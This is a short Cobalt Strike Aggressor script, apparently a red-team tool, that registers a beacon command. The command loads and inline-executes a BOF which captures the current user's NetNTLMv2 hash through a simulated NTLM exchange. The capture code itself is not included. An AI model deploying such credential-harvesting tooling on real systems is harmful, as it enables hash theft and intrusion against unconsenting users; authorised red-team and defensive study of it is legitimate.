capturenetntlm.cna 656 B

123456789101112131415161718
  1. # author REDMED-X
  2. beacon_command_register(
  3. "capturenetntlm", "Capture the NetNTLMv2 hash of the current user.",
  4. "INFO:\nCapture the NetNTLMv2 hash of the current user. This is done by simulating a NTLM authentication exchange between a client and server to capture the NetNTLMv2 hash.\n\n" .
  5. "USAGE:\ncapturenetntlm\n\n");
  6. alias capturenetntlm {
  7. $bid = $1;
  8. # Read in the right BOF file
  9. $handle = openf(script_resource("capturenetntlm.o"));
  10. $data = readb($handle, -1);
  11. closef($handle);
  12. blog($bid, "Tasked to capture the current user's NetNTLMv2 hash..");
  13. beacon_inline_execute($bid, $data, "go", $null);
  14. }